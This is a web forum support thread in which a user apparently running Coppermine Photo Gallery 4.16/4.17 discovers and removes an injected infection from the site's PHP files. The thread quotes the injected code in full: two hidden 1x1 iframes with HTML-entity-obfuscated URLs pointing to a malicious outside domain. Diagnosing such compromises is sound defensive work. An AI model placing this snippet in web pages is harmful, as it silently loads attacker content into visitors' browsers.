[Solved]: Problem 4.16 to 4.17 - cdpuvbhfzz.com related

[AlistairUK]

Ok, so I got hit by this "cdpuvbhfzz.com" problem.

I came back from vacation yesterday and found my gallery was acting weird. Saw the upgrade to 4.17, I was running 4.16 previously, upgraded successfully to 4.17 (done upgrades many times now without problem). CPG file version check is working fine, no errors, all files 4.17.

Prior to upgrading I would see "connecting to cdpuvbhfzz.com" on the bottom of my firefox window when loading http://www.exposurecompensation.co.uk/cpg/. After the upgrade I don't see this anymore so I gather the upgrade was successful. However, when I go to Admin Tools and Update Database I see a similar problem, 2 connections to cdpuvbhfzz.com.

Once this db upgrade page has finished loading, viewing the source I see this at the very top of the page :

<iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe><iframe src="&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#99;&#100;&#112;&#117;&#118;&#98;&#104;&#102;&#122;&#122;&#46;&#99;&#111;&#109;&#47;&#100;&#108;&#47;&#97;&#100;&#118;&#53;&#57;&#56;&#46;&#112;&#104;&#112;" width=1 height=1></iframe>

Having read a few other posts on here, I downloaded the 4.17 package again to a different workstation, unzipped, ftp'd all the files to my website as per normal. Same problem.

Did I miss something? Or is there still a problem with update.php or perhaps some 'hacked' content in my sql db?

Any help would be appreciated. 

TIA

Alistair

[Nibbler]

You probably missed a file when uploading. Check the files in the include directory.

[AlistairUK]

Ok, I will try again (3rd time) to upload the package.

I really can't imagine I missed a file twice previously though. 

[Nibbler]

Maybe you are mistaking include/update.inc.php for include/config.inc.php and not uploading it.

[AlistairUK]

Found the problem.

The upgrade was performed correctly with the new 4.17 files being loaded. I was almost certain I had removed the offending php code from my include/config.inc.php file and saved/ftp'd it, maybe I didn't. No idea. Anyway, did a search in dreamweaver for "src="&#104" which seems to be part of the code all the php files had been modified with, removed it from 2 others and uploaded again.

My gallery now seems to be working correctly and I can perform a db update without problem.

Thanks for your help and feel free to mark this as solved.